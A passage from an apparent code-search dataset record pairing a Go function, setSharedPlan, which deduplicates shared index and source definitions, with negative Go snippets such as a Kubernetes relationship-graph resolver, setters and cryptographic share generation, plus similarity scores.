{\n\t\t\t\t\tfor r := range rset {\n\t\t\t\t\t\tnode.AddDependency(n.UID, r)\n\t\t\t\t\t\tn.AddDependent(node.UID, r)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor k, rset := range rmap.DependentsBySelector {\n\t\t\tif os, ok := rmap.ObjectSelectors[k]; ok {\n\t\t\t\tfor _, n := range resolveSelectorToNodes(os) {\n\t\t\t\t\tfor r := range rset {\n\t\t\t\t\t\tn.AddDependency(node.UID, r)\n\t\t\t\t\t\tnode.AddDependent(n.UID, r)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor uid, rset := range rmap.DependenciesByUID {\n\t\t\tif n, ok := globalMapByUID[uid]; ok {\n\t\t\t\tfor r := range rset {\n\t\t\t\t\tnode.AddDependency(n.UID, r)\n\t\t\t\t\tn.AddDependent(node.UID, r)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor uid, rset := range rmap.DependentsByUID {\n\t\t\tif n, ok := globalMapByUID[uid]; ok {\n\t\t\t\tfor r := range rset {\n\t\t\t\t\tn.AddDependency(node.UID, r)\n\t\t\t\t\tnode.AddDependent(n.UID, r)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Populate dependencies & dependents based on Owner-Dependent relationships\n\tfor _, node := range globalMapByUID {\n\t\tfor _, ref := range node.OwnerReferences {\n\t\t\tif n, ok := globalMapByUID[ref.UID]; ok {\n\t\t\t\tif ref.Controller != nil && *ref.Controller {\n\t\t\t\t\tnode.AddDependency(n.UID, RelationshipControllerRef)\n\t\t\t\t\tn.AddDependent(node.UID, RelationshipControllerRef)\n\t\t\t\t}\n\t\t\t\tnode.AddDependency(n.UID, RelationshipOwnerRef)\n\t\t\t\tn.AddDependent(node.UID, RelationshipOwnerRef)\n\t\t\t}\n\t\t}\n\t}\n\n\tvar rmap *RelationshipMap\n\tvar err error\n\tfor _, node := range globalMapByUID {\n\t\tswitch {\n\t\t// Populate dependencies & dependents based on PersistentVolume relationships\n\t\tcase node.Group == corev1.GroupName && node.Kind == \"PersistentVolume\":\n\t\t\trmap, err = getPersistentVolumeRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for persistentvolume named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on PersistentVolumeClaim relationships\n\t\tcase node.Group == corev1.GroupName && node.Kind == \"PersistentVolumeClaim\":\n\t\t\trmap, err = getPersistentVolumeClaimRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for persistentvolumeclaim named \\\"%s\\\" in namespace \\\"%s\\\": %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on Pod relationships\n\t\tcase node.Group == corev1.GroupName && node.Kind == \"Pod\":\n\t\t\trmap, err = getPodRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for pod named \\\"%s\\\" in namespace \\\"%s\\\": %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on Service relationships\n\t\tcase node.Group == corev1.GroupName && node.Kind == \"Service\":\n\t\t\trmap, err = getServiceRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for service named \\\"%s\\\" in namespace \\\"%s\\\": %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on ServiceAccount relationships\n\t\tcase node.Group == corev1.GroupName && node.Kind == \"ServiceAccount\":\n\t\t\trmap, err = getServiceAccountRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for serviceaccount named \\\"%s\\\" in namespace \\\"%s\\\": %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on PodSecurityPolicy relationships\n\t\tcase node.Group == policyv1beta1.GroupName && node.Kind == \"PodSecurityPolicy\":\n\t\t\trmap, err = getPodSecurityPolicyRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for podsecuritypolicy named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on PodDisruptionBudget relationships\n\t\tcase node.Group == policyv1.GroupName && node.Kind == \"PodDisruptionBudget\":\n\t\t\trmap, err = getPodDisruptionBudgetRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for poddisruptionbudget named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on MutatingWebhookConfiguration relationships\n\t\tcase node.Group == admissionregistrationv1.GroupName && node.Kind == \"MutatingWebhookConfiguration\":\n\t\t\trmap, err = getMutatingWebhookConfigurationRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for mutatingwebhookconfiguration named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on ValidatingWebhookConfiguration relationships\n\t\tcase node.Group == admissionregistrationv1.GroupName && node.Kind == \"ValidatingWebhookConfiguration\":\n\t\t\trmap, err = getValidatingWebhookConfigurationRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for validatingwebhookconfiguration named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on APIService relationships\n\t\tcase node.Group == apiregistrationv1.GroupName && node.Kind == \"APIService\":\n\t\t\trmap, err = getAPIServiceRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for apiservice named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on Event relationships\n\t\tcase (node.Group == eventsv1.GroupName || node.Group == corev1.GroupName) && node.Kind == \"Event\":\n\t\t\trmap, err = getEventRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for event named \\\"%s\\\" in namespace \\\"%s\\\": %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on Ingress relationships\n\t\tcase (node.Group == networkingv1.GroupName || node.Group == extensionsv1beta1.GroupName) && node.Kind == \"Ingress\":\n\t\t\trmap, err = getIngressRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for ingress named \\\"%s\\\" in namespace \\\"%s\\\": %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on IngressClass relationships\n\t\tcase node.Group == networkingv1.GroupName && node.Kind == \"IngressClass\":\n\t\t\trmap, err = getIngressClassRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for ingressclass named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on NetworkPolicy relationships\n\t\tcase node.Group == networkingv1.GroupName && node.Kind == \"NetworkPolicy\":\n\t\t\trmap, err = getNetworkPolicyRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for networkpolicy named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on RuntimeClass relationships\n\t\tcase node.Group == nodev1.GroupName && node.Kind == \"RuntimeClass\":\n\t\t\trmap, err = getRuntimeClassRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for runtimeclass named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on ClusterRole relationships\n\t\tcase node.Group == rbacv1.GroupName && node.Kind == \"ClusterRole\":\n\t\t\trmap, err = getClusterRoleRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for clusterrole named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on ClusterRoleBinding relationships\n\t\tcase node.Group == rbacv1.GroupName && node.Kind == \"ClusterRoleBinding\":\n\t\t\trmap, err = getClusterRoleBindingRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for clusterrolebinding named \\\"%s\\\": %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on Role relationships\n\t\tcase node.Group == rbacv1.GroupName && node.Kind == \"Role\":\n\t\t\trmap, err = getRoleRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for role named \\\"%s\\\" in namespace \\\"%s\\\": %s: %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on RoleBinding relationships\n\t\tcase node.Group == rbacv1.GroupName && node.Kind == \"RoleBinding\":\n\t\t\trmap, err = getRoleBindingRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for rolebinding named \\\"%s\\\" in namespace \\\"%s\\\": %s: %s\", node.Name, node.Namespace, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on CSIStorageCapacity relationships\n\t\tcase node.Group == storagev1beta1.GroupName && node.Kind == \"CSIStorageCapacity\":\n\t\t\trmap, err = getCSIStorageCapacityRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for csistoragecapacity named \\\"%s\\\": %s: %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on CSINode relationships\n\t\tcase node.Group == storagev1.GroupName && node.Kind == \"CSINode\":\n\t\t\trmap, err = getCSINodeRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for csinode named \\\"%s\\\": %s: %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on StorageClass relationships\n\t\tcase node.Group == storagev1.GroupName && node.Kind == \"StorageClass\":\n\t\t\trmap, err = getStorageClassRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for storageclass named \\\"%s\\\": %s: %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t// Populate dependencies & dependents based on VolumeAttachment relationships\n\t\tcase node.Group == storagev1.GroupName && node.Kind == \"VolumeAttachment\":\n\t\t\trmap, err = getVolumeAttachmentRelationships(node)\n\t\t\tif err != nil {\n\t\t\t\tklog.V(4).Infof(\"Failed to get relationships for volumeattachment named \\\"%s\\\": %s: %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\tdefault:\n\t\t\tcontinue\n\t\t}\n\t\tupdateRelationships(node, rmap)\n\t}\n\n\t// Create submap containing the provided objects & either their dependencies\n\t// or dependents from the global map\n\tvar depth uint\n\tnodeMap, uidQueue, uidSet := NodeMap{}, []types.UID{}, map[types.UID]struct{}{}\n\tfor _, uid := range uids {\n\t\tif node := globalMapByUID[uid]; node != nil {\n\t\t\tnodeMap[uid] = node\n\t\t\tuidQueue = append(uidQueue, uid)\n\t\t}\n\t}\n\tdepth, uidQueue = 0, append(uidQueue, \"\")\n\tfor {\n\t\tif len(uidQueue) <= 1 {\n\t\t\tbreak\n\t\t}\n\t\tuid := uidQueue[0]\n\t\tif uid == \"\" {\n\t\t\tdepth, uidQueue = depth+1, append(uidQueue[1:], \"\")\n\t\t\tcontinue\n\t\t}\n\n\t\t// Guard against possible cycles\n\t\tif _, ok := uidSet[uid]; ok {\n\t\t\tuidQueue = uidQueue[1:]\n\t\t\tcontinue\n\t\t} else {\n\t\t\tuidSet[uid] = struct{}{}\n\t\t}\n\n\t\tif node := nodeMap[uid]; node != nil {\n\t\t\t// Allow nodes to keep the smallest depth. For example, if a node has a\n\t\t\t// depth of 1 & 7 in the relationship tree, we keep 1 so that when\n\t\t\t// printing the tree with a depth of 2, the node will still be printed\n\t\t\tif node.Depth == 0 || depth < node.Depth {\n\t\t\t\tnode.Depth = depth\n\t\t\t}\n\t\t\tdeps := node.GetDeps(depsIsDependencies)\n\t\t\tdepUIDs, ix := make([]types.UID, len(deps)), 0\n\t\t\tfor depUID := range deps {\n\t\t\t\tnodeMap[depUID] = globalMapByUID[depUID]\n\t\t\t\tdepUIDs[ix] = depUID\n\t\t\t\tix++\n\t\t\t}\n\t\t\tuidQueue = append(uidQueue[1:], depUIDs...)\n\t\t}\n\t}\n\n\tklog.V(4).Infof(\"Resolved %d deps for %d objects\", len(nodeMap)-1, len(uids))\n\treturn nodeMap, nil\n}", "func (n Nodes) SetIndex(i int, node *Node)", "func setAttribute(node *html.Node, attrName string, attrValue string) {\n\tattrIdx := -1\n\n\tfor i := 0; i < len(node.Attr); i++ {\n\t\tif node.Attr[i].Key == attrName {\n\t\t\tattrIdx = i\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif attrIdx >= 0 {\n\t\tnode.Attr[attrIdx].Val = attrValue\n\t\treturn\n\t}\n\n\tnode.Attr = append(node.Attr, html.Attribute{\n\t\tKey: attrName,\n\t\tVal: attrValue,\n\t})\n}", "func (c SplitSize) Set(path string, object Object) error {\n\tobjectSize := len(object.Data)\n\tfor _, child := range c {\n\t\tif objectSize <= child.MaxSize || child.MaxSize == 0 {\n\t\t\treturn child.Cache.Set(path, object)\n\t\t}\n\t}\n\n\t// No cache is large enough to hold this object, but that's ok.\n\treturn nil\n}", "func SetIds(t *Task) {\n\tt.Id = str2md5(t.Name+t.Text)\n\t\n\tfor _, subTask := range t.SubTasks {\n\t\tSetIds(subTask)\n\t}\n}", "func (n *node) setValue(value interface{}) bool {\n\tif values, ok := value.(*Values); ok {\n\t\treturn n.setValues(values)\n\t}\n\tchanged := false\n\tif n.isSet() {\n\t\tchanged = value != n.value\n\t} else {\n\t\tchanged = true\n\t}\n\tn.value = value\n\tn.children = nil\n\treturn changed\n}", "func (me *TxsdPremiseSequenceChoiceChoicePremiseNumberRangeNumberRangeOccurence) Set(s string) {\r\n\t(*xsdt.Nmtoken)(me).Set(s)\r\n}" ]
[ "0.55977863", "0.5356839", "0.5314489", "0.53076833", "0.53006226", "0.52756816", "0.51600856", "0.5154256", "0.51167846", "0.5095854", "0.5067192", "0.50410706", "0.49862808", "0.49704587", "0.49554753", "0.4836667", "0.4822462", "0.4799088", "0.47939968", "0.47827855", "0.4769021", "0.47689524", "0.4765507", "0.47384393", "0.4737812", "0.47185427", "0.4715938", "0.46941808", "0.4676156", "0.46396512", "0.4635109", "0.46339804", "0.46285352", "0.46241334", "0.4604225", "0.46005765", "0.45861757", "0.4571072", "0.4567254", "0.45664755", "0.45596057", "0.45585284", "0.45577267", "0.45468485", "0.45413786", "0.45321", "0.45289332", "0.45284712", "0.4518838", "0.45077005", "0.4506942", "0.45054516", "0.4502656", "0.44863096", "0.44845665", "0.4479466", "0.44724613", "0.44687247", "0.4467609", "0.44673696", "0.44629025", "0.44519916", "0.4446342", "0.44407907", "0.4430574", "0.44288933", "0.4427494", "0.44129354", "0.44116795", "0.44116533", "0.44070968", "0.4403233", "0.43957043", "0.43875933", "0.43875724", "0.43681896", "0.43681312", "0.4366513", "0.43652838", "0.43560633", "0.43498936", "0.43426016", "0.4341828", "0.43403718", "0.4337245", "0.43365923", "0.43355718", "0.43303326", "0.43280903", "0.43229264", "0.4322829", "0.4321386", "0.43208528", "0.43074086", "0.43020847", "0.42990148", "0.4298984", "0.42987743", "0.42950174", "0.42922738" ]
0.6822423
0
setSharedPlan rewrites the set of a planPIndex document by deduplicating repeated index definitions and source definitions.
func setSharedPlan(c *CfgMetaKv, key string, val []byte, cas uint64) (uint64, error) { var shared PlanPIndexesShared err := json.Unmarshal(val, &shared.PlanPIndexes) if err != nil { return 0, err } shared.SharedIndexDefs = map[string]*PlanPIndexIndexDef{} shared.SharedSourceDefs = map[string]*PlanPIndexSourceDef{} // Reduce the planPIndexes by not repeating the shared parts. for _, ppi := range shared.PlanPIndexes.PlanPIndexes { ppi.Name = "" if ppi.IndexParams != "" { k := ppi.IndexType + "/" + ppi.IndexName + "/" + ppi.IndexUUID shared.SharedIndexDefs[k] = &PlanPIndexIndexDef{ IndexParams: ppi.IndexParams, } ppi.IndexParams = "" } if ppi.SourceParams != "" { k := ppi.SourceType + "/" + ppi.SourceName + "/" + ppi.SourceUUID + "/" + ppi.IndexName + "/" + ppi.IndexUUID shared.SharedSourceDefs[k] = &PlanPIndexSourceDef{ SourceParams: ppi.SourceParams, } ppi.SourceParams = "" } } valShared, err := json.Marshal(&shared) if err != nil { return 0, err } return c.setRawLOCKED(key, valShared, cas) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (m *VirtualEndpoint) SetSharedUseServicePlans(value []CloudPcSharedUseServicePlanable)() {\n err := m.GetBackingStore().Set(\"sharedUseServicePlans\", value)\n if err != nil {\n panic(err)\n }\n}", "func poolSetIndex(a interface{}, i int) {\n\ta.(*freeClientPoolEntry).index = i\n}", "func (c Ctx) SetShared(k string, value interface{}) error {\n\t_, err := c.Ask(`kong.ctx.shared.set`, k, value)\n\treturn err\n}", "func (self *SinglePad) SetIndexA(member int) {\n self.Object.Set(\"index\", member)\n}", "func (p *PhysicalIndexReader) SetSchema(_ *expression.Schema) {\n\tif p.indexPlan != nil {\n\t\tp.IndexPlans = flattenPushDownPlan(p.indexPlan)\n\t\tswitch p.indexPlan.(type) {\n\t\tcase *PhysicalHashAgg, *PhysicalStreamAgg, *PhysicalProjection:\n\t\t\tp.schema = p.indexPlan.Schema()\n\t\tdefault:\n\t\t\tis := p.IndexPlans[0].(*PhysicalIndexScan)\n\t\t\tp.schema = is.dataSourceSchema\n\t\t}\n\t\tp.OutputColumns = p.schema.Clone().Columns\n\t}\n}", "func (s UserSet) SetShare(value bool) {\n\ts.RecordCollection.Set(models.NewFieldName(\"Share\", \"share\"), value)\n}", "func (pp *PermuteProtocol) GenShares(sk *ring.Poly, ciphertext *bfv.Ciphertext, crs *ring.Poly, permutation []uint64, share RefreshShare) {\n\n\tlevel := len(ciphertext.Value()[1].Coeffs) - 1\n\n\tringQ := pp.context.ringQ\n\tringT := pp.context.ringT\n\tringQP := pp.context.ringQP\n\n\t// h0 = s*ct[1]\n\tringQ.NTTLazy(ciphertext.Value()[1], pp.tmp1)\n\tringQ.MulCoeffsMontgomeryConstant(sk, pp.tmp1, share.RefreshShareDecrypt)\n\tringQ.InvNTTLazy(share.RefreshShareDecrypt, share.RefreshShareDecrypt)\n\n\t// h0 = s*ct[1]*P\n\tringQ.MulScalarBigint(share.RefreshShareDecrypt, pp.context.ringP.ModulusBigint, share.RefreshShareDecrypt)\n\n\t// h0 = s*ct[1]*P + e\n\tpp.gaussianSampler.ReadLvl(len(ringQP.Modulus)-1, pp.tmp1, ringQP, pp.sigma, int(6*pp.sigma))\n\tringQ.Add(share.RefreshShareDecrypt, pp.tmp1, share.RefreshShareDecrypt)\n\n\tfor x, i := 0, len(ringQ.Modulus); i < len(pp.context.ringQP.Modulus); x, i = x+1, i+1 {\n\t\ttmphP := pp.hP.Coeffs[x]\n\t\ttmp1 := pp.tmp1.Coeffs[i]\n\t\tfor j := 0; j < ringQ.N; j++ {\n\t\t\ttmphP[j] += tmp1[j]\n\t\t}\n\t}\n\n\t// h0 = (s*ct[1]*P + e)/P\n\tpp.baseconverter.ModDownSplitPQ(level, share.RefreshShareDecrypt, pp.hP, share.RefreshShareDecrypt)\n\n\t// h1 = -s*a\n\tringQP.Neg(crs, pp.tmp1)\n\tringQP.NTTLazy(pp.tmp1, pp.tmp1)\n\tringQP.MulCoeffsMontgomeryConstant(sk, pp.tmp1, pp.tmp2)\n\tringQP.InvNTTLazy(pp.tmp2, pp.tmp2)\n\n\t// h1 = s*a + e'\n\tpp.gaussianSampler.ReadAndAdd(pp.tmp2, ringQP, pp.sigma, int(6*pp.sigma))\n\n\t// h1 = (-s*a + e')/P\n\tpp.baseconverter.ModDownPQ(level, pp.tmp2, share.RefreshShareRecrypt)\n\n\t// mask = (uniform plaintext in [0, T-1]) * floor(Q/T)\n\n\t// Mask in the time domain\n\tcoeffs := pp.uniformSampler.ReadNew()\n\n\t// Multiply by Q/t\n\tlift(coeffs, pp.tmp1, pp.context)\n\n\t// h0 = (s*ct[1]*P + e)/P + mask\n\tringQ.Add(share.RefreshShareDecrypt, pp.tmp1, share.RefreshShareDecrypt)\n\n\t// Mask in the spectral domain\n\tringT.NTT(coeffs, coeffs)\n\n\t// Permutation over the mask\n\tpp.permuteWithIndex(coeffs, permutation, pp.tmp1)\n\n\t// Switch back the mask in the time domain\n\tringT.InvNTTLazy(pp.tmp1, coeffs)\n\n\t// Multiply by Q/t\n\tlift(coeffs, pp.tmp1, pp.context)\n\n\t// h1 = (-s*a + e')/P - permute(mask)\n\tringQ.Sub(share.RefreshShareRecrypt, pp.tmp1, share.RefreshShareRecrypt)\n}", "func (s *Service) PubShare(c context.Context, pid, aid int64) (err error) {\n\tvar (\n\t\tpls *model.PlStat\n\t\tip = metadata.String(c, metadata.RemoteIP)\n\t)\n\tif pls, err = s.plInfo(c, 0, pid, ip); err != nil {\n\t\treturn\n\t}\n\t//TODO aid in playlist\n\terr = s.cache.Save(func() {\n\t\ts.dao.PubShare(context.Background(), pid, aid, pls.Share)\n\t})\n\treturn\n}", "func (t *BenchmarkerChaincode) updateIndex(stub shim.ChaincodeStubInterface, key, indexName string, indexValueSpace [][]string) error {\n\tif indexName == \"\" {\n\t\treturn nil\n\t}\n\n\tvar indexValues []string\n\tfor _, validValues := range indexValueSpace {\n\t\tchoice := rand.Intn(len(validValues))\n\t\tindexValues = append(indexValues, validValues[choice])\n\t}\n\n\tindexKey, err := stub.CreateCompositeKey(indexName+\"~id\", append(indexValues, key))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvalue := []byte{0x00}\n\tif err := stub.PutState(indexKey, value); err != nil {\n\t\treturn err\n\t}\n\tfmt.Printf(\"Set composite key '%s' to '%s' for key '%s'\\n\", indexKey, value, key)\n\n\treturn nil\n}", "func (p *PhysicalIndexScan) Clone() (PhysicalPlan, error) {\n\tcloned := new(PhysicalIndexScan)\n\t*cloned = *p\n\tbase, err := p.physicalSchemaProducer.cloneWithSelf(cloned)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcloned.physicalSchemaProducer = *base\n\tcloned.AccessCondition = util.CloneExprs(p.AccessCondition)\n\tif p.Table != nil {\n\t\tcloned.Table = p.Table.Clone()\n\t}\n\tif p.Index != nil {\n\t\tcloned.Index = p.Index.Clone()\n\t}\n\tcloned.IdxCols = util.CloneCols(p.IdxCols)\n\tcloned.IdxColLens = make([]int, len(p.IdxColLens))\n\tcopy(cloned.IdxColLens, p.IdxColLens)\n\tcloned.Ranges = util.CloneRanges(p.Ranges)\n\tcloned.Columns = util.CloneColInfos(p.Columns)\n\tif p.dataSourceSchema != nil {\n\t\tcloned.dataSourceSchema = p.dataSourceSchema.Clone()\n\t}\n\n\treturn cloned, nil\n}", "func (rtg *RTGProtocol) GenShare(sk *rlwe.SecretKey, galEl uint64, crp []*ring.Poly, shareOut *RTGShare) {\n\n\ttwoN := rtg.ringQP.N << 2\n\tgalElInv := ring.ModExp(galEl, int(twoN-1), uint64(twoN))\n\n\tring.PermuteNTT(sk.Value, galElInv, rtg.tmpPoly[1])\n\n\trtg.ringQP.MulScalarBigint(sk.Value, rtg.ringPModulusBigint, rtg.tmpPoly[0])\n\n\tvar index int\n\n\tfor i := 0; i < rtg.beta; i++ {\n\n\t\t// e\n\t\trtg.gaussianSampler.Read(shareOut.Value[i], rtg.ringQP, rtg.sigma, int(6*rtg.sigma))\n\t\trtg.ringQP.NTTLazy(shareOut.Value[i], shareOut.Value[i])\n\t\trtg.ringQP.MForm(shareOut.Value[i], shareOut.Value[i])\n\n\t\t// a is the CRP\n\n\t\t// e + sk_in * (qiBarre*qiStar) * 2^w\n\t\t// (qiBarre*qiStar)%qi = 1, else 0\n\t\tfor j := 0; j < rtg.alpha; j++ {\n\n\t\t\tindex = i*rtg.alpha + j\n\n\t\t\tqi := rtg.ringQP.Modulus[index]\n\t\t\ttmp0 := rtg.tmpPoly[0].Coeffs[index]\n\t\t\ttmp1 := shareOut.Value[i].Coeffs[index]\n\n\t\t\tfor w := 0; w < rtg.ringQP.N; w++ {\n\t\t\t\ttmp1[w] = ring.CRed(tmp1[w]+tmp0[w], qi)\n\t\t\t}\n\n\t\t\t// Handles the case where nb pj does not divides nb qi\n\t\t\tif index >= rtg.ringQModCount {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// sk_in * (qiBarre*qiStar) * 2^w - a*sk + e\n\t\trtg.ringQP.MulCoeffsMontgomeryAndSub(crp[i], rtg.tmpPoly[1], shareOut.Value[i])\n\t}\n\n\trtg.tmpPoly[0].Zero()\n\trtg.tmpPoly[1].Zero()\n\n\treturn\n}", "func setSharedRepoSQL(readDB, writeDB *sql.DB) {\n\tglobalRepoSQL = NewRepositorySQL(readDB, writeDB, nil)\n}", "func (m *RecurrencePattern) SetIndex(value *WeekIndex)() {\n m.index = value\n}", "func (vars *shared) SetSharedVar(n, v string) error {\n\tvars.Lock()\n\tdefer vars.Unlock()\n\tvars.vars[n] = v\n\treturn nil\n}", "func (p *PhysicalIndexReader) Clone() (PhysicalPlan, error) {\n\tcloned := new(PhysicalIndexReader)\n\tbase, err := p.physicalSchemaProducer.cloneWithSelf(cloned)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcloned.physicalSchemaProducer = *base\n\tif cloned.indexPlan, err = p.indexPlan.Clone(); err != nil {\n\t\treturn nil, err\n\t}\n\tif cloned.IndexPlans, err = clonePhysicalPlan(p.IndexPlans); err != nil {\n\t\treturn nil, err\n\t}\n\tcloned.OutputColumns = util.CloneCols(p.OutputColumns)\n\treturn cloned, err\n}", "func (op *ListSharedAccessOp) Shared(val string) *ListSharedAccessOp {\n\tif op != nil {\n\t\top.QueryOpts.Set(\"shared\", val)\n\t}\n\treturn op\n}", "func (m *ScheduleRequestBuilder) Share()(*i2547a7f1d67b3d63ac7cd6ad852788ce52638547a6ec23de203e52fa44a92944.ShareRequestBuilder) {\n return i2547a7f1d67b3d63ac7cd6ad852788ce52638547a6ec23de203e52fa44a92944.NewShareRequestBuilderInternal(m.pathParameters, m.requestAdapter);\n}", "func (access ColumnAccess) SharedIndex(localIndex int) int {\n return access.indices[localIndex]\n}", "func (m *Planner) SetPlans(value []PlannerPlanable)() {\n m.plans = value\n}", "func (ei ei) Share(cfg upspin.Config, readers []upspin.PublicKey, packdata []*[]byte) {\n}", "func (m *BusinessScenarioPlanner) SetPlanConfiguration(value PlannerPlanConfigurationable)() {\n err := m.GetBackingStore().Set(\"planConfiguration\", value)\n if err != nil {\n panic(err)\n }\n}", "func indexWrite(key string, p *pkg) {\n\tlocker.Lock()\n\tdefer locker.Unlock()\n\n\tindexedPkgs[key] = p\n}", "func (pm *PathMap) _markShared() {\n\t// We make use of the fact that pm.shared is made true only via this\n\t// function, and that it is never reset to false (In new snapshots it\n\t// will be false of course). In particular, if pm.shared is already\n\t// true, there is no need to recurse.\n\tif !pm.shared {\n\t\tpm.shared = true\n\t\tfor _, v := range pm.dirs {\n\t\t\tv._markShared()\n\t\t}\n\t}\n}", "func (m *VirtualEndpoint) SetServicePlans(value []CloudPcServicePlanable)() {\n err := m.GetBackingStore().Set(\"servicePlans\", value)\n if err != nil {\n panic(err)\n }\n}", "func (b *B) SetParallelism(p int)", "func SetIndexPageSize(dbo Database, pageSize int) error {\n\tdb := dbo.(*database)\n\tsql := db.getRawDB()\n\t_, err := sql.Exec(`insert into fts(fts, rank) values(\"pgsz\", ?)`, pageSize)\n\treturn err\n}", "func (mc *MomentClient) Share(db DbRunnerTrans, s *SharesRow, rs []*RecipientsRow) (err error) {\n\tif len(rs) == 0 || s == nil {\n\t\tError.Println(ErrorParameterEmpty)\n\t\terr = ErrorParameterEmpty\n\t\treturn\n\t}\n\n\ttx, err := db.Begin()\n\tif err != nil {\n\t\tError.Println(err)\n\t\treturn\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif txerr := tx.Rollback(); txerr != nil {\n\t\t\t\tError.Println(txerr)\n\t\t\t}\n\t\t\tError.Println(err)\n\t\t\treturn\n\t\t}\n\t\ttx.Commit()\n\t}()\n\n\tid, err := insert(tx, s)\n\tif err != nil {\n\t\tError.Println(err)\n\t}\n\ts.sharesID = id\n\n\tfor _, r := range rs {\n\t\tr.setSharesID(id)\n\t\tif err = r.err; err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\tif _, err = insert(tx, rs); err != nil {\n\t\treturn\n\t}\n\treturn\n}", "func (s UserSet) SetPartnerShare(value bool) {\n\ts.RecordCollection.Set(models.NewFieldName(\"PartnerShare\", \"partner_share\"), value)\n}", "func GoShareEngine(config Config) {\n\truntime.GOMAXPROCS(runtime.NumCPU())\n\n\t// remember it will be same DB instance shared across goshare package\n\tdb = 